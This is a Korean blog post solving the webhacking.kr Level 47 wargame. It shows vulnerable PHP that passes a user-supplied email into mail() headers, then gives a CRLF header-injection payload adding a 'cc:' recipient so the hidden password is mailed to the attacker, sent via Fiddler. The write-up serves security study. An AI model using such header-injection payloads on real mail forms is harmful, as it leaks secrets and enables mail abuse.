eli_ez3r
eli_ez3r
eli_ez3r
전체 방문자
오늘
어제
  • 분류 전체보기 (202)
    • 0x01 끄적끄적 :) (57)
      • Network (5)
      • Security (14)
      • Reversing (2)
      • Forensic (5)
      • Operation System (10)
      • Development (10)
      • Solution (7)
      • 보안 상식 (3)
    • 0x02 Study :) (127)
      • Pwnable (59)
      • Webhacking (56)
      • Reversing (11)
      • Machine Learning (1)
    • 0x03 ETC :) (16)
      • IT Unpacking (5)
      • IT Information (1)
      • Enjoy (4)
      • Etc (6)
    • Admin :) (0)
      • 0x01 (0)

블로그 메뉴

  • 홈
  • 태그
  • 방명록

공지사항

  • github.io 블로그 개설

인기 글

태그

  • 해킹
  • 메모리
  • webhacking.kr
  • 문제
  • hacking
  • BOF
  • LEVEL
  • 공격
  • 해커
  • password
  • 스쿨
  • 설명
  • Up
  • attack
  • 과정
  • write
  • school
  • web
  • hacker
  • 암호
  • hack
  • hakcing
  • 패스워드
  • buffer
  • 풀이
  • 문제풀이
  • 오버플로우
  • overflow
  • pwnable
  • LOB

최근 댓글

최근 글

티스토리

hELLO · Designed By 정상우.
eli_ez3r

eli_ez3r

webhacking.kr Level 47 문제풀이
0x02 Study :)/Webhacking

webhacking.kr Level 47 문제풀이

2018. 7. 29. 10:32

Level 47


<?
if($_POST[email])
{
	$pass="????";
	$header="From: $_POST[email]\r\n";
	mail("admin@webhacking.kr","readme","password is $pass",$header);
	echo("<script>alert('Done');</script><meta http-equiv=refresh content=1>");
}
?>


email값이 POST방식 일 때 mail함수가 실행된다.


mail함수는 ("받는사람 주소", "메일 제목", "메일 내용", "헤더내용(옵션)") 이런 형식으로 되어있다.


그리고 header값에는 우리가 입력할 수 있는 값이 들어가게 된다.


 

여기서 우리가 입력한 값으로 조작 할 수 있는 것은 header의 값이다.


구글링해보니 mail 함수에서 header값에 참조인을 넣을 수 있다.


즉 받는 사람 이외에 참조인도 메일을 받을 수 있게 되는 것이다.


cc: [메일주소] 형식으로 넣어주면 된다.


 

따라서 우리는 헤더를 header = "From: abcd@naver.com\r\ncc:haks2198@naver.com\r\n" 으로 만들면 된다.


\r : %0d

\n : %0a


 

abcd@naver.com%0d%0acc: haks2198@naver.com 값을 fiddler를 이용해서 패킷을 보내는 순간 조작하여 보내자.




저작자표시 비영리 변경금지 (새창열림)
    '0x02 Study :)/Webhacking' 카테고리의 다른 글
    • webhacking.kr Level 52 문제풀이
    • webhacking.kr Level 51 문제풀이
    • webhacking.kr Level 42 문제풀이
    • webhacking.kr Level 38 문제풀이
    eli_ez3r
    eli_ez3r

    티스토리툴바